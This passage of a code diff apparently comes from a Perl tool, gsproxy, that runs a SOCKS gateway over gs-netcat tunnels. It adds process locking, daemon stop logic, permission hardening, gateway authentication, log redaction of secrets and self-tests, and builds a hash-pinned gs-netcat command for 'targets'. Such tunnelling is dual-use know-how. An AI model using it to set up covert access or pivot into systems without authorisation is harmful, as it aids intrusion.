print $fh join($NL, @pids), $NL;
|
||||
close $fh;
|
||||
}
|
||||
@@ -629,11 +840,65 @@ sub read_pidfile {
|
||||
return @out;
|
||||
}
|
||||
|
||||
sub acquire_lock {
|
||||
return 1 if $lock_fh;
|
||||
open my $fh, '>>', $opt{pidfile} or return 0;
|
||||
unless (flock($fh, LOCK_EX | LOCK_NB)) {
|
||||
close $fh;
|
||||
return 0;
|
||||
}
|
||||
chmod 0600, $opt{pidfile};
|
||||
$fh->autoflush(1);
|
||||
$lock_fh = $fh;
|
||||
return 1;
|
||||
}
|
||||
|
||||
sub release_lock {
|
||||
if ($lock_fh) {
|
||||
close $lock_fh;
|
||||
$lock_fh = undef;
|
||||
}
|
||||
}
|
||||
|
||||
sub guard_start {
|
||||
my @others = find_other_daemons();
|
||||
if (@others) {
|
||||
print 'gsproxy daemon already running (pid ' . join(',', @others) . '). Use --stop first.' . $NL;
|
||||
exit 1;
|
||||
}
|
||||
unless (acquire_lock()) {
|
||||
print 'gsproxy already running (pidfile locked). Use --stop first.' . $NL;
|
||||
exit 1;
|
||||
}
|
||||
}
|
||||
|
||||
sub stop_daemon {
|
||||
my @pids = read_pidfile();
|
||||
my %pids = map { $_ => 1 } read_pidfile();
|
||||
$pids{$_} = 1 for find_other_daemons();
|
||||
my @pids = sort { $a <=> $b } keys %pids;
|
||||
my $any = 0;
|
||||
my @victims;
|
||||
for my $p (@pids) {
|
||||
if (kill(0, $p)) { kill('TERM', $p); logmsg('stopped pid ' . $p); $any = 1; }
|
||||
next unless proc_is_gsproxy($p);
|
||||
if (kill(0, $p)) {
|
||||
push @victims, $p;
|
||||
kill('TERM', $p);
|
||||
logmsg('stopped pid ' . $p);
|
||||
$any = 1;
|
||||
}
|
||||
}
|
||||
if (@victims) {
|
||||
my $deadline = time() + 5;
|
||||
for my $p (@victims) {
|
||||
while (time() < $deadline && kill(0, $p)) {
|
||||
last if (proc_state($p) // '') eq 'Z';
|
||||
sleep 0.2;
|
||||
}
|
||||
if (kill(0, $p) && (proc_state($p) // '') ne 'Z') {
|
||||
logmsg('pid ' . $p . ' did not exit; sending KILL');
|
||||
kill('KILL', $p);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (@pids) {
|
||||
my @now = read_pidfile();
|
||||
@@ -652,16 +917,22 @@ sub stop_daemon {
|
||||
|
||||
sub do_status {
|
||||
my @pids = read_pidfile();
|
||||
my @live = grep { kill(0, $_) } @pids;
|
||||
my @live;
|
||||
for my $p (@pids) {
|
||||
next unless proc_is_gsproxy($p);
|
||||
next if (proc_state($p) // '') eq 'Z';
|
||||
push @live, $p if kill(0, $p);
|
||||
}
|
||||
if (@live) { print 'gsproxy running (pid ' . join(',', @live) . ')' . $NL; return 0; }
|
||||
print 'gsproxy not running' . $NL;
|
||||
return 1;
|
||||
}
|
||||
|
||||
sub cleanup {
|
||||
my ($gwpid, $rows) = @_;
|
||||
my ($rows) = @_;
|
||||
kill('TERM', $gwpid) if $gwpid;
|
||||
unlink $opt{pidfile};
|
||||
release_lock();
|
||||
if ($rows) {
|
||||
my $nl = teardown_local($rows);
|
||||
logmsg('teardown: local gs-netcat stopped=' . $nl);
|
||||
@@ -672,12 +943,21 @@ sub cleanup {
|
||||
|
||||
sub run_foreground {
|
||||
my ($rows) = @_;
|
||||
my $gwpid;
|
||||
if (!$opt{once}) {
|
||||
unless (is_loopback($opt{bind})) {
|
||||
logmsg('warning: gateway bound to ' . $opt{bind} . ':' . $opt{gateway}
|
||||
. ' is exposed to the network; restrict with --bind or --gateway-auth');
|
||||
}
|
||||
$gwpid = start_gateway();
|
||||
if (!defined $gwpid) {
|
||||
logmsg('gateway failed to start; aborting');
|
||||
release_lock();
|
||||
exit 1;
|
||||
}
|
||||
$last_gw_attempt = time();
|
||||
write_pidfile($$, $gwpid);
|
||||
$SIG{TERM} = sub { cleanup($gwpid, $rows); exit 0 };
|
||||
$SIG{INT} = sub { cleanup($gwpid, $rows); exit 0 };
|
||||
$SIG{TERM} = sub { cleanup($rows); exit 0 };
|
||||
$SIG{INT} = sub { cleanup($rows); exit 0 };
|
||||
logmsg('gsproxy started: gateway ' . $opt{bind} . ':' . $opt{gateway}
|
||||
. ', ' . scalar(@$rows) . ' proxies, interval ' . $opt{interval} . 's');
|
||||
}
|
||||
@@ -686,7 +966,53 @@ sub run_foreground {
|
||||
last if $opt{once};
|
||||
sleep $opt{interval};
|
||||
}
|
||||
cleanup($gwpid, $rows) if $gwpid;
|
||||
cleanup($rows) if $gwpid;
|
||||
release_lock();
|
||||
}
|
||||
|
||||
sub harden_file_perms {
|
||||
for my $f ($opt{log}, $opt{pidfile}, $opt{state}) {
|
||||
next unless -e $f;
|
||||
chmod 0600, $f;
|
||||
}
|
||||
}
|
||||
|
||||
sub check_config_perms {
|
||||
my ($file) = @_;
|
||||
return unless -e $file;
|
||||
my @st = stat($file);
|
||||
return unless @st;
|
||||
if ($st[2] & 0077) {
|
||||
logmsg('warning: config ' . $file . ' is group/world readable; chmod 600 to protect secrets');
|
||||
}
|
||||
}
|
||||
|
||||
sub is_loopback {
|
||||
my ($a) = @_;
|
||||
return 1 if lc($a) eq 'localhost' || $a eq '::1' || $a eq '127.0.0.1';
|
||||
return 1 if $a =~ /^127\./;
|
||||
return 0;
|
||||
}
|
||||
|
||||
sub load_gateway_auth {
|
||||
return (undef, undef) unless defined $opt{gateway_auth};
|
||||
open my $fh, '<', $opt{gateway_auth} or do {
|
||||
logmsg('gateway auth: cannot open ' . $opt{gateway_auth} . ': ' . $!);
|
||||
return (undef, undef);
|
||||
};
|
||||
my ($u, $p);
|
||||
while (my $line = <$fh>) {
|
||||
$line = strip_eol($line);
|
||||
next if $line =~ /^[[:space:]]*$/ || $line =~ /^[[:space:]]*#/;
|
||||
my ($a, $b) = split /:/, $line, 2;
|
||||
if (defined $a && defined $b && length $a && length $b) {
|
||||
$u = $a;
|
||||
$p = $b;
|
||||
last;
|
||||
}
|
||||
}
|
||||
close $fh;
|
||||
return ($u, $p);
|
||||
}
|
||||
|
||||
sub fake_socks_server {
|
||||
@@ -721,6 +1047,42 @@ sub fake_socks_server {
|
||||
}
|
||||
}
|
||||
|
||||
sub auth_test {
|
||||
my ($u, $p) = @_;
|
||||
my $lsn = IO::Socket::INET->new(
|
||||
LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp',
|
||||
Listen => 1, ReuseAddr => 1,
|
||||
) or return (0, 'no listen');
|
||||
my $port = $lsn->sockport;
|
||||
my $cli = IO::Socket::INET->new(
|
||||
PeerAddr => '127.0.0.1', PeerPort => $port, Proto => 'tcp', Timeout => 3,
|
||||
) or return (0, 'no connect');
|
||||
my $srv = $lsn->accept;
|
||||
close $lsn;
|
||||
my $pid = fork();
|
||||
return (0, 'no fork') unless defined $pid;
|
||||
if ($pid == 0) {
|
||||
my $r = socks_auth_client($srv);
|
||||
exit($r ? 0 : 1);
|
||||
}
|
||||
$cli->autoflush(1);
|
||||
syswrite($cli, pack('C*', 5, 1, 2));
|
||||
my $m = read_exact($cli, 2, 3);
|
||||
my $ar;
|
||||
if (defined $m && ord(substr($m, 1, 1)) == 2) {
|
||||
syswrite($cli, pack('C*', 1, length($u)) . $u . pack('C', length($p)) . $p);
|
||||
$ar = read_exact($cli, 2, 3);
|
||||
}
|
||||
waitpid($pid, 0);
|
||||
my $rc = $? >> 8;
|
||||
close $cli;
|
||||
close $srv;
|
||||
my $auth_ok = defined $ar && ord(substr($ar, 0, 1)) == 1 && ord(substr($ar, 1, 1)) == 0;
|
||||
my $detail = 'rc=' . $rc . ' auth=' . ($auth_ok ? 'ok' : 'bad')
|
||||
. ' method=' . (defined $m ? ord(substr($m, 1, 1)) : 'none');
|
||||
return ((($rc == 0) == $auth_ok) ? 1 : 0, $detail);
|
||||
}
|
||||
|
||||
sub selftest {
|
||||
my $fails = 0;
|
||||
my $ok = sub {
|
||||
@@ -763,6 +1125,46 @@ sub selftest {
|
||||
|
||||
$ok->(scalar(find_local_pids()) == 0, 'find_local_pids empty');
|
||||
|
||||
$ok->(proc_is_gsproxy($$), 'proc_is_gsproxy self');
|
||||
$ok->(!proc_is_gsproxy(1), 'proc_is_gsproxy init');
|
||||
my $zpid = fork();
|
||||
if (defined $zpid && $zpid == 0) { exit 0; }
|
||||
sleep 0.2;
|
||||
$ok->((proc_state($zpid) // '') eq 'Z', 'proc_state zombie');
|
||||
waitpid($zpid, 0);
|
||||
|
||||
register_secrets('sekret123');
|
||||
$ok->(redact('x sekret123 y sekret123') eq 'x se*** y se***', 'redact secret');
|
||||
$ok->(one_line('a sekret123 b') eq 'a se*** b', 'one_line redacts');
|
||||
|
||||
$opt{target_sha256} = 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef';
|
||||
my $tc2 = target_cmd('sekret123');
|
||||
$ok->(index($tc2, "echo 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef gs-netcat' | sha256sum -c -") >= 0, 'target_cmd sha256 pin');
|
||||
$opt{target_sha256} = undef;
|
||||
|
||||
$opt{pidfile} = $tmp . '/gsproxy_selftest.pid';
|
||||
$ok->(acquire_lock(), 'lock acquire');
|
||||
my $lpid = fork();
|
||||
if (defined $lpid && $lpid == 0) {
|
||||
$lock_fh = undef;
|
||||
my $got = acquire_lock();
|
||||
exit($got ? 0 : 1);
|
||||
}
|
||||
waitpid($lpid, 0);
|
||||
$ok->(($? >> 8) == 1, 'lock exclusive across processes');
|
||||
release_lock();
|
||||
$ok->(acquire_lock(), 'lock reacquire after release');
|
||||
release_lock();
|
||||
|
||||
$gw_auth_user = 'bob';
|
||||
$gw_auth_pass = 'pw';
|
||||
my ($ar1, $d1) = auth_test('bob', 'pw');
|
||||
$ok->($ar1, 'gateway auth accept (' . $d1 . ')');
|
||||
my ($ar2, $d2) = auth_test('bob', 'wrong');
|
||||
$ok->($ar2, 'gateway auth reject (' . $d2 . ')');
|
||||
$gw_auth_user = undef;
|
||||
$gw_auth_pass = undef;
|
||||
|
||||
$opt{timeout} = 3;
|
||||
|
||||
my $lsn = IO::Socket::INET->new(
|
||||
@@ -808,9 +1210,45 @@ sub selftest {
|
||||
$ok->(0, 'gateway connect');
|
||||
}
|
||||
|
||||
$gw_auth_user = 'bob';
|
||||
$gw_auth_pass = 'pw';
|
||||
my $free2 = IO::Socket::INET->new(LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp', Listen => 1, ReuseAddr => 1);
|
||||
my $gwport2 = $free2->sockport;
|
||||
close $free2;
|
||||
$opt{gateway} = $gwport2;
|
||||
my $gwpid2 = start_gateway();
|
||||
sleep 0.3;
|
||||
my $auth_relay_ok = 0;
|
||||
my $cli2 = IO::Socket::INET->new(PeerAddr => '127.0.0.1', PeerPort => $gwport2, Proto => 'tcp', Timeout => 3);
|
||||
if ($cli2) {
|
||||
$cli2->autoflush(1);
|
||||
syswrite($cli2, pack('C*', 5, 1, 2));
|
||||
my $m2 = read_exact($cli2, 2, 3);
|
||||
if (defined $m2 && ord(substr($m2, 1, 1)) == 2) {
|
||||
syswrite($cli2, pack('C*', 1, 3) . 'bob' . pack('C', 2) . 'pw');
|
||||
my $ar2 = read_exact($cli2, 2, 3);
|
||||
if (defined $ar2 && ord(substr($ar2, 1, 1)) == 0) {
|
||||
my $host = 'example.com';
|
||||
syswrite($cli2, pack('C*', 5, 1, 0, 3) . pack('C', length($host)) . $host . pack('n', 443));
|
||||
my $rep2 = read_exact($cli2, 10, 3);
|
||||
if (defined $rep2 && ord(substr($rep2, 1, 1)) == 0) {
|
||||
syswrite($cli2, 'ping');
|
||||
my $echo = read_exact($cli2, 4, 3);
|
||||
$auth_relay_ok = 1 if defined $echo && $echo eq 'ping';
|
||||
}
|
||||
}
|
||||
}
|
||||
close $cli2;
|
||||
}
|
||||
$ok->($auth_relay_ok, 'gateway auth relay end-to-end');
|
||||
$gw_auth_user = undef;
|
||||
$gw_auth_pass = undef;
|
||||
|
||||
kill('TERM', $gwpid) if $gwpid;
|
||||
kill('TERM', $gwpid2) if $gwpid2;
|
||||
kill('TERM', $spid) if $spid;
|
||||
waitpid($gwpid, 0) if $gwpid;
|
||||
waitpid($gwpid2, 0) if $gwpid2;
|
||||
waitpid($spid, 0) if $spid;
|
||||
|
||||
print($fails ? ('SELFTEST FAILED (' . $fails . ')' . $NL) : ('SELFTEST OK' . $NL));
|
||||
@@ -829,24 +1267,45 @@ if ($opt{list}) {
|
||||
|
||||
die 'no usable rows in ' . $opt{config} . $NL unless @$rows;
|
||||
|
||||
register_secrets(map { $_->{secret} } @$rows);
|
||||
|
||||
my %port_label;
|
||||
for my $e (@$rows) {
|
||||
if ($e->{port} == $opt{gateway}) {
|
||||
logmsg('warning: gateway port ' . $opt{gateway} . ' equals local port of ' . $e->{label});
|
||||
}
|
||||
if (defined $port_label{$e->{port}}) {
|
||||
logmsg('warning: local port ' . $e->{port} . ' is used by both ' . $port_label{$e->{port}} . ' and ' . $e->{label});
|
||||
} else {
|
||||
$port_label{$e->{port}} = $e->{label};
|
||||
}
|
||||
if (length($e->{secret}) < 8) {
|
||||
logmsg('warning: secret for ' . $e->{label} . ' is only ' . length($e->{secret}) . ' characters');
|
||||
}
|
||||
}
|
||||
|
||||
check_config_perms($opt{config});
|
||||
|
||||
if (defined $opt{gateway_auth}) {
|
||||
($gw_auth_user, $gw_auth_pass) = load_gateway_auth();
|
||||
unless (defined $gw_auth_user) {
|
||||
print 'gateway auth file ' . $opt{gateway_auth} . ' has no user:pass line' . $NL;
|
||||
exit 1;
|
||||
}
|
||||
my @st = stat($opt{gateway_auth});
|
||||
if (@st && ($st[2] & 0077)) {
|
||||
logmsg('warning: gateway auth file ' . $opt{gateway_auth} . ' is group/world readable; chmod 600');
|
||||
}
|
||||
}
|
||||
|
||||
if ($opt{once} || !$opt{daemon}) {
|
||||
guard_start();
|
||||
run_foreground($rows);
|
||||
exit 0;
|
||||
}
|
||||
|
||||
if (!$ENV{GSPROXY_DAEMON}) {
|
||||
my @old = read_pidfile();
|
||||
if (grep { kill(0, $_) } @old) {
|
||||
print 'gsproxy already running. Use --stop first.' . $NL;
|
||||
exit 1;
|
||||
}
|
||||
unlink $opt{pidfile};
|
||||
guard_start();
|
||||
$ENV{GSPROXY_DAEMON} = 1;
|
||||
my $pid = fork();
|
||||
if ($pid) {
|
||||
@@ -860,4 +1319,4 @@ if (!$ENV{GSPROXY_DAEMON}) {
|
||||
}
|
||||
|
||||
run_foreground($rows);
|
||||
exit 0;
|
||||
exit 0;
|
||||
Reference in New Issue
Block a user